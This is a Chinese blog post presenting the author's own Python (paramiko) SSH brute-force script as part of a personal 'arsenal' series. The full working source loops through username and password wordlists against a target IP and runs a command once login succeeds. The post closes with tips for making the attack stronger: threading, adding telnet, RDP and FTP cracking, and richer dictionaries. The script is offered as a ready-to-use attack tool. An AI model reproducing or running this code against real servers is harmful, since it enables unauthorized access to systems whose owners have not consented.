#我的武器库#之SSH爆破核心实现

        Linux服务器多数开放SSH登陆,渗透人员可以通过Metasploit、hydra等工具进行爆破,其实通过python实现ssh爆破非常简单,核心思想为:1.通过paramiko组件创建client;2.采用用户名及密码的传统认证方式;3.从字典表读取用户名及密码进行逐一连接认证。

   一、源代码


#-*- coding:utf8 -*-
import paramiko

def crackhandle(client, ip, user, passwd, command):
    try:
        client.connect(ip, username=user, password=passwd)  #连接
        client.get_transport().banner_timeout = 2;
        ssh_session = client.get_transport().open_session() #打开会话
        if ssh_session.active:
            ssh_session.exec_command(command)   #执行命令
            return  ssh_session.recv(1024);
    except Exception as e:
        print(e);
        print("username [%s] password [%s] fail" % (user,passwd));
        return "";

def crack(ip,command):
    passwordsList = open("/root/Desktop/pythonTest/password.txt");
    usernamesList = open("/root/Desktop/pythonTest/username.txt");
    passwords = passwordsList.readlines();
    usernames = usernamesList.readlines();
    client = paramiko.SSHClient();
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy());
    switch = False;
    for usuername in usernames:
        username = usuername.strip();
        for password in passwords:
            password = password.strip();
            commandRecv = crackhandle(client,ip,str(username),str(password),command);
            if len(commandRecv)>1:
                print("success userName is %s password is %s" % (username,password));
                switch = True;
                break;
        if switch:
            break;
crack("192.168.1.102","id");

#crackhandle("127.0.0.1","root","toor","id");

代码中我加了cmd的指令输出作为认证,其实没必要。

运行指令: python sshCrack.py

效果图如下,可以看到爆破成功。

二、下一步优化

在优化方面,可以分为三个层面。

      1.性能 :与线程结合,加快爆破速度,提升爆破效率。

      2.功能:形成爆破工具箱,可对ssh、telnet、3389、ftp等爆破代码进行整合,方便渗透人员便捷使用。业界已有非常出色的工具箱,通过自己动手编写代码了解原理和实现方式还是非常有必要的。

      3.字典表:爆破是否成功在与字典表,足够丰富又具有针对性的字典表非常重要。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

登峰造Geek

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值